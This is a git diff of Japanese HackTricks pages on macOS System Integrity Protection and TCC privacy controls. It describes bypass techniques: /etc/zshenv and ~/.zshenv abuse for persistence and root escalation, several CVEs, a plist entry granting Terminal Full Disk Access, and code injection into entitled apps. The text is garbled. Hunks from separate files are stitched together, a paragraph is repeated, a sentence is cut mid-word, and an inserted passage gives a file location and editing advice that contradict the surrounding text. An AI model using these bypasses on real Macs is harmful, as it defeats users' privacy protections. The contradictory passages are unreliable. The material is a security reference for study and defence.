研究者たちは、Appleによって署名されたパッケージ(.pkgファイル)のインストール中に、パッケージに含まれる**post-install**スクリプトが**`system_installd`**によって実行されることを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、非対話モードでも**`/etc/zshenv`**ファイルからコマンドが自動的に実行されます。この動作は攻撃者によって悪用される可能性があります。悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd`が`zsh`を呼び出すのを待つ**ことで、デバイス上で任意の操作を実行することができます。
|
||||
|
||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)では、同じ**`system_installd`**プロセスが悪用される可能性があることが発見されました。なぜなら、**post-installスクリプトが`/tmp`内のSIPで保護されたランダムに名前が付けられたフォルダに配置**されていたからです。ただし、**`/tmp`自体はSIPで保護されていない**ため、**仮想イメージをマウント**することが可能であり、その後、**インストーラー**が**post-installスクリプト**をそこに配置し、**仮想イメージをアンマウント**し、**すべてのフォルダを再作成**し、**ペイロード**を実行するための**post-installationスクリプト**を追加することができました。
|
||||
さらに、**`/etc/zshenv`はSIPの回避だけでなく、一般的な攻撃手法としても使用できます**。各ユーザープロファイルには`~/.zshenv`ファイルがあり、これは`/etc/zshenv`と同じように動作しますが、ルート権限は必要ありません。このファイルは、`zsh`が起動するたびにトリガーされる永続性のメカニズムとして、または特権の昇格のメカニズムとして使用することができます。管理者ユーザーが`sudo -s`または`sudo <command>`を使用してルートに昇格する場合、`~/.zshenv`ファイルがトリガーされ、実質的にルートに昇格します。
|
||||
|
||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)では、同じ**`system_installd`**プロセスが悪用される可能性があることが発見されました。なぜなら、**post-installスクリプトが`/tmp`内のSIPで保護されたランダムに名前が付けられたフォルダに配置されていた**からです。ただし、**`/tmp`自体はSIPで保護されていない**ため、**仮想イメージをマウント**することが可能であり、その後、**インストーラー**が**post-installスクリプト**をそこに配置し、**仮想イメージをアンマウント**し、**すべてのフォルダを再作成**し、**ペイロード**を実行するための**post-installationスクリプト**を追加することができました。
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
|
@ -107,12 +109,12 @@ SIPは他にもいくつかの制限を課しています。たとえば、**署
|
|||
|
||||
## シールドされたシステムスナップショット
|
||||
|
||||
シールドされたシステムスナップショットは、Appleが**macOS Big Sur(macOS 11)**で導入した機能であり、**システム整合性保護(SIP)**メカニズムの一部として、追加のセキュリティとシステムの安定性を提供するものです。これらは、システムボリュームの読み取り専用バージョンです。
|
||||
シールドされたシステムスナップショットは、Appleが**macOS Big Sur(macOS 11)**で導入した機能であり、**システム整合性保護(SIP)**メカニズムの一部として、追加のセキュリティとシステムの安定性を提供するためのものです。これらは、システムボリュームの読み取り専用バージョンです。
|
||||
|
||||
以下に詳細を示します:
|
||||
|
||||
1. **不変のシステム**:シールドされたシステムスナップショットにより、macOSシステムボリュームは「不変」となり、変更することができなくなります。これにより、セキュリティやシステムの安定性に影響を及ぼす可能性のある不正な変更や誤った変更を防止します。
|
||||
2. **システムソフトウェアの更新**:macOSのアップデートやアップグレードを
|
||||
1. **不変のシステム**:シールドされたシステムスナップショットにより、macOSシステムボリュームは「不変」となり、変更することができなくなります。これにより、セキュリティやシステムの安定性に影響を及ぼす可能性のある、不
|
||||
| | スナップショット: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
|
||||
| | スナップショットディスク: disk3s1s1
|
||||
<strong>| | スナップショットマウントポイント: /
|
||||
</strong><strong>| | スナップショットシールド: はい
|
||||
|
@ -148,7 +150,7 @@ mount
|
|||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,15 +18,15 @@
|
|||
|
||||
ユーザーの視点からは、TCCが動作しているのは、**TCCによって保護された機能へのアクセスをアプリケーションが要求したとき**です。これが発生すると、**ユーザーにはアクセスを許可するかどうかを尋ねるダイアログが表示**されます。
|
||||
|
||||
また、ユーザーが**ファイルにアクセスを許可する**こともできます。たとえば、ユーザーが**ファイルをプログラムにドラッグ&ドロップする**場合(もちろん、プログラムはそれにアクセスできる必要があります)。
|
||||
また、ユーザーが**ファイルに明示的な意図を持ってアクセスを許可**することも可能です。たとえば、ユーザーが**ファイルをプログラムにドラッグ&ドロップする**場合(もちろん、プログラムはそれにアクセスできる必要があります)。
|
||||
|
||||
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(`com.apple.tccd.system`というマッハサービスを登録)。
|
||||
|
||||
ログインしているユーザーごとに定義された**ユーザーモードのtccd**があり、`/System/Library/LaunchAgents/com.apple.tccd.plist`にあり、マッハサービス`com.apple.tccd`と`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
|
||||
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、マッハサービス`com.apple.tccd`と`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
|
||||
|
||||
ここでは、システムとユーザーとして実行されているtccdが表示されます:
|
||||
ここでは、システムとユーザーとして実行されているtccdを確認できます:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
|
@ -62,7 +62,7 @@ com.apple.rootless.storage.TCC
|
|||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="user DB" %}
|
||||
{% tab title="ユーザーDB" %}
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
sqlite> .schema
|
||||
|
@ -105,20 +105,20 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
|
||||
* **`auth_value`** には、denied(0)、unknown(1)、allowed(2)、またはlimited(3)の異なる値が入る可能性があります。
|
||||
* **`auth_reason`** には、以下の値が入る可能性があります: Error(1)、User Consent(2)、User Set(3)、System Set(4)、Service Policy(5)、MDM Policy(6)、Override Policy(7)、Missing usage string(8)、Prompt Timeout(9)、Preflight Unknown(10)、Entitled(11)、App Type Policy(12)
|
||||
* テーブルの**他のフィールド**に関する詳細については、[**このブログ記事**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)を参照してください。
|
||||
* テーブルの**他のフィールド**についての詳細は、[**このブログ記事**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)を参照してください。
|
||||
|
||||
{% hint style="info" %}
|
||||
一部のTCCの許可は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです... これらをすべて定義する公開リストは存在しませんが、この[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。
|
||||
一部のTCCの許可は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。すべてを定義する公開リストはありませんが、この[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。
|
||||
|
||||
**Full Disk Access** の名前は **`kTCCServiceSystemPolicyAllFiles`** であり、**`kTCCServiceAppleEvents`** は、一般的に**タスクの自動化**に使用される他のアプリケーションにイベントを送信することを許可します。さらに、**`kTCCServiceSystemPolicySysAdminFiles`** は、ユーザのホームフォルダを変更する**`NFSHomeDirectory`**属性を変更することができ、それによりTCCを**バイパス**することができます。
|
||||
**Full Disk Access**の名前は**`kTCCServiceSystemPolicyAllFiles`**であり、**`kTCCServiceAppleEvents`**は、一般的に**タスクの自動化**に使用される他のアプリケーションにイベントを送信することを許可します。さらに、**`kTCCServiceSystemPolicySysAdminFiles`**は、ユーザのホームフォルダを変更する**`NFSHomeDirectory`**属性を変更することができ、それによりTCCを**バイパス**することができます。
|
||||
{% endhint %}
|
||||
|
||||
また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダー`で、アプリに与えられた**既存の許可**も確認できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
注意してくださいが、ユーザはこれらのデータベースを直接変更することはできません。SIPのためです(rootであっても)。新しいルールを設定または変更する唯一の方法は、システム環境設定パネルまたはアプリがユーザに要求するプロンプトです。
|
||||
注意してくださいが、ユーザはこれらのデータベースを直接変更することはできません。なぜなら、SIPのためです(rootであっても)。新しいルールを設定または変更する唯一の方法は、システム環境設定パネルまたはアプリがユーザに要求するプロンプトです。
|
||||
|
||||
ただし、ユーザは **`tccutil`** を使用してルールを**削除またはクエリ**することができます。 
|
||||
ただし、ユーザは**`tccutil`**を使用してルールを削除またはクエリすることができます。 
|
||||
{% endhint %}
|
||||
|
||||
#### リセット
|
||||
|
@ -135,9 +135,58 @@ tccutil reset All
|
|||
|
||||
しかし、自分自身に「Finderへの自動化権限」を与えることができます。そして、FinderにはFDA権限があるため、あなたにもFDA権限が与えられます。
|
||||
|
||||
### TCC署名チェック
|
||||
### SIPバイパスからTCCバイパスへ
|
||||
|
||||
TCCデータベースはアプリケーションのバンドルIDを保存していますが、パーミッションを使用するために許可を求めるアプリが正しいものであることを確認するために、署名に関する情報も保存しています。
|
||||
TCCデータベースはSIPによって保護されているため、指定された権限を持つプロセスのみがデータベースを変更できます。したがって、攻撃者がSIPバイパス(SIPに制限されたファイルの変更が可能)を見つけると、TCCデータベースの保護を解除し、すべてのTCC権限を自分自身に与えることができます。
|
||||
|
||||
ただし、このSIPバイパスをTCCバイパスとして悪用する別の方法があります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`というファイルは、TCCの例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を解除し、自分自身のアプリケーションを追加できれば、そのアプリケーションはTCCをバイパスできます。
|
||||
例えば、ターミナルを追加する場合は:
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
このファイルは、macOSのTCC(トランスペアレントなコンセント制御)フレームワークの一部であり、アプリケーションがユーザーのプライバシーにアクセスするために必要な権限を持っているかどうかを管理します。
|
||||
|
||||
このプロパティリスト(.plist)ファイルには、許可されたアプリケーションのリストが含まれており、ユーザーが明示的に許可したアプリケーションのみがプライバシーにアクセスできるようになります。
|
||||
|
||||
このファイルを編集することで、特定のアプリケーションに対してTCCフレームワークの制限を追加または削除することができます。ただし、このファイルを編集する前に、十分な知識と注意が必要です。誤った編集はシステムの安定性やセキュリティに悪影響を及ぼす可能性があります。
|
||||
|
||||
このファイルは、以下の場所にあります:
|
||||
|
||||
```
|
||||
~/Library/Application Support/com.apple.TCC/
|
||||
```
|
||||
|
||||
このファイルを編集するには、テキストエディタを使用してファイルを開き、必要な変更を行います。変更を保存した後、変更が反映されるためにはログアウトまたは再起動が必要です。
|
||||
|
||||
注意:このファイルを編集する前に、バックアップを作成することを強くお勧めします。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Services</key>
|
||||
<dict>
|
||||
<key>SystemPolicyAllFiles</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CodeRequirement</key>
|
||||
<string>identifier "com.apple.Terminal" and anchor apple</string>
|
||||
<key>IdentifierType</key>
|
||||
<string>bundleID</string>
|
||||
<key>Identifier</key>
|
||||
<string>com.apple.Terminal</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC シグネチャのチェック
|
||||
|
||||
TCCの**データベース**は、アプリケーションの**バンドルID**を保存していますが、同時に、**許可を使用するために要求するアプリ**が正しいものであることを確認するための**シグネチャに関する情報**も保存しています。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -164,7 +213,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
|
||||
ただし、アプリが`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントは必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
|
||||
|
||||
Appleのアプリはプロンプトを生成しません。それらはエンタイトルメントリストに事前に付与された権限を含んでいるため、ポップアップは表示されず、TCCデータベースにも表示されません。例えば:
|
||||
Appleのアプリはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権限が含まれているため、ポップアップは表示されず、TCCデータベースにも表示されません。例えば:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -178,18 +227,18 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを防ぎます。
|
||||
|
||||
{% hint style="success" %}
|
||||
権限に関する公式ドキュメント以外にも、[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) には非公式ながら興味深い権限に関する情報が見つかることがあります。
|
||||
権限に関する公式ドキュメント以外にも、[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)で非公式な権限に関する興味深い情報を見つけることができます。
|
||||
{% endhint %}
|
||||
|
||||
### 機密情報が保護されていない場所
|
||||
### 機密情報の保護されていない場所
|
||||
|
||||
* $HOME (自体)
|
||||
* $HOME/.ssh, $HOME/.aws, など
|
||||
* $HOME/.ssh, $HOME/.awsなど
|
||||
* /tmp
|
||||
|
||||
### ユーザーの意図 / com.apple.macl
|
||||
|
||||
前述のように、ファイルをアプリにドラッグ&ドロップすることで、そのファイルへのアクセスをアプリに許可することができます。このアクセスはTCCデータベースには特定されず、ファイルの拡張属性として保存されます。この属性には許可されたアプリのUUIDが保存されます。
|
||||
前述のように、ファイルをアプリにドラッグ&ドロップすることで、そのアプリにファイルへのアクセスを許可することができます。このアクセスはTCCデータベースには特定されず、ファイルの拡張属性として保存されます。この属性には許可されたアプリのUUIDが保存されます。
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -232,8 +281,8 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -30,7 +30,7 @@ asd
|
|||
|
||||
### SSHバイパス
|
||||
|
||||
デフォルトでは、**SSH経由でのアクセスは「フルディスクアクセス」**を持っていました。これを無効にするには、リストに表示されているが無効になっている状態にする必要があります(リストから削除してもこれらの特権は削除されません):
|
||||
デフォルトでは、**SSH経由でのアクセスは「フルディスクアクセス」**を持っていました。これを無効にするには、リストに表示されているが無効になっている必要があります(リストから削除してもこれらの特権は削除されません):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
|
@ -50,15 +50,15 @@ SSHを有効にするには、現在は**フルディスクアクセス**が必
|
|||
|
||||
### iCloud
|
||||
|
||||
権限**`com.apple.private.icloud-account-access`**を持つことで、**`com.apple.iCloudHelper`** XPCサービスと通信することができ、iCloudトークンを提供します。
|
||||
権限**`com.apple.private.icloud-account-access`**を持つことで、**`com.apple.iCloudHelper`** XPCサービスと通信することができ、iCloudトークンを**提供**することができます。
|
||||
|
||||
**iMovie**と**Garageband**はこの権限と他の権限を持っていました。
|
||||
**iMovie**と**Garageband**にはこの権限と他の権限がありました。
|
||||
|
||||
その権限からiCloudトークンを取得するためのエクスプロイトについての詳細については、次のトークを参照してください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御することができます**。これは、他のアプリに付与された権限を悪用することができる可能性があることを意味します。
|
||||
**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御**することができます。これは、他のアプリに付与された権限を**悪用**することができる可能性があります。
|
||||
|
||||
Appleスクリプトについての詳細は次を参照してください:
|
||||
|
||||
|
@ -70,7 +70,7 @@ Appleスクリプトについての詳細は次を参照してください:
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### iTermを介して
|
||||
#### iTerm上で
|
||||
|
||||
FDAを持たないTerminalは、FDAを持つiTermを呼び出して、それを使用してアクションを実行できます:
|
||||
|
||||
|
@ -179,10 +179,10 @@ rootとしてこのサービスを有効にすると、**ARDエージェント
|
|||
## **NFSHomeDirectory**による
|
||||
|
||||
TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。データベースの場所は**$HOME/Library/Application Support/com.apple.TCC/TCC.db**です。\
|
||||
したがって、ユーザーが$HOME環境変数を**異なるフォルダ**を指すように設定してTCCを再起動できれば、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC許可を任意のアプリに与えるようにトリックをかけることができます。
|
||||
したがって、ユーザーが$HOME環境変数を**異なるフォルダ**を指すように設定してTCCを再起動できれば、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC許可を与えることができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
Appleは、ユーザープロファイル内の**`NFSHomeDirectory`**属性に格納された設定を**`$HOME`の値**として使用しているため、この値を変更する権限(`kTCCServiceSystemPolicySysAdminFiles`)を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**武器化**することができます。
|
||||
Appleは、ユーザープロファイル内の**`NFSHomeDirectory`**属性に格納された設定を**`$HOME`の値**として使用しているため、この値(`kTCCServiceSystemPolicySysAdminFiles`を変更する権限を持つアプリケーションを侵害する場合、このオプションをTCCバイパスとして**武器化**することができます。
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -201,7 +201,7 @@ Appleは、ユーザープロファイル内の**`NFSHomeDirectory`**属性に
|
|||
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
|
||||
|
||||
2番目のPOCでは、**`/usr/libexec/configd`**が**`com.apple.private.tcc.allow`**という値**`kTCCServiceSystemPolicySysAdminFiles`**を持っていました。\
|
||||
**`configd`**を**`-t`**オプションで実行することで、攻撃者は**カスタムバンドルをロード**することができました。したがって、このエクスプロイトは、ユーザーのホームディレクトリを変更する**`dsexport`**と**`dsimport`**の方法を**`configd`のコードインジェクション**で置き換えます。
|
||||
**`configd`**を**`-t`**オプションで実行することができるため、攻撃者は**カスタムバンドルをロード**することができました。したがって、このエクスプロイトは、ユーザーのホームディレクトリを変更する**`dsexport`**と**`dsimport`**の方法を**`configd`コードインジェクション**で置き換えます。
|
||||
|
||||
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を参照してください。
|
||||
|
||||
|
@ -263,7 +263,7 @@ Core Media I/Oを介してカメラストリームを開くシステムアプリ
|
|||
|
||||
そこに一般的な**コンストラクタ**を持つライブラリを保存するだけで、コードを**インジェクト**することができます。
|
||||
|
||||
これにより、いくつかのAppleのアプリケーションが脆弱になりました。
|
||||
これに対していくつかのAppleのアプリケーションは脆弱でした。
|
||||
|
||||
### Firefox
|
||||
|
||||
|
@ -291,19 +291,19 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
詳細については、[**元のレポート**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)をチェックしてください。
|
||||
詳細な情報については、[**元のレポートをチェックしてください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、プロセス内にコードを注入して TCC 権限を使用することができました。
|
||||
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、プロセス内にコードを注入し、TCC の特権を使用することができました。
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram には `com.apple.security.cs.allow-dyld-environment-variables` と `com.apple.security.cs.disable-library-validation` の権限があり、カメラでの録画などの権限にアクセスすることができました。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
Telegram には、`com.apple.security.cs.allow-dyld-environment-variables` と `com.apple.security.cs.disable-library-validation` の権限があり、カメラでの録画などの権限にアクセスすることができました。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
|
||||
## オープンな呼び出しによる方法
|
||||
|
||||
サンドボックス内で open を呼び出すことができます。
|
||||
サンドボックス化された状態でも `open` を呼び出すことができます。
|
||||
|
||||
### ターミナルスクリプト
|
||||
|
||||
|
@ -405,18 +405,28 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
**`/var/db/locationd/clients.plist`**には、**位置情報サービスにアクセスを許可されたクライアント**を示す、第3のTCCデータベースがあります。\
|
||||
フォルダ**`/var/db/locationd/`はDMGのマウントから保護されていなかった**ため、独自のplistをマウントすることが可能でした。
|
||||
|
||||
## スタートアップアプリによるバイパス
|
||||
## スタートアップアプリによる方法
|
||||
|
||||
{% content-ref url="../../../../macos-auto-start-locations.md" %}
|
||||
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## grepによるバイパス
|
||||
## grepによる方法
|
||||
|
||||
いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が保管されていますが、これらはAppleの脆弱性としてカウントされます。
|
||||
いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が保護されていない場所に保存されることがあります(これはAppleの脆弱性としてカウントされます)。
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Synthetic Clicks
|
||||
|
||||
これはもう機能しませんが、[**過去には機能しました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**CoreGraphicsイベント**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)を使用した別の方法:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 参考
|
||||
|
||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
|
@ -428,10 +438,10 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
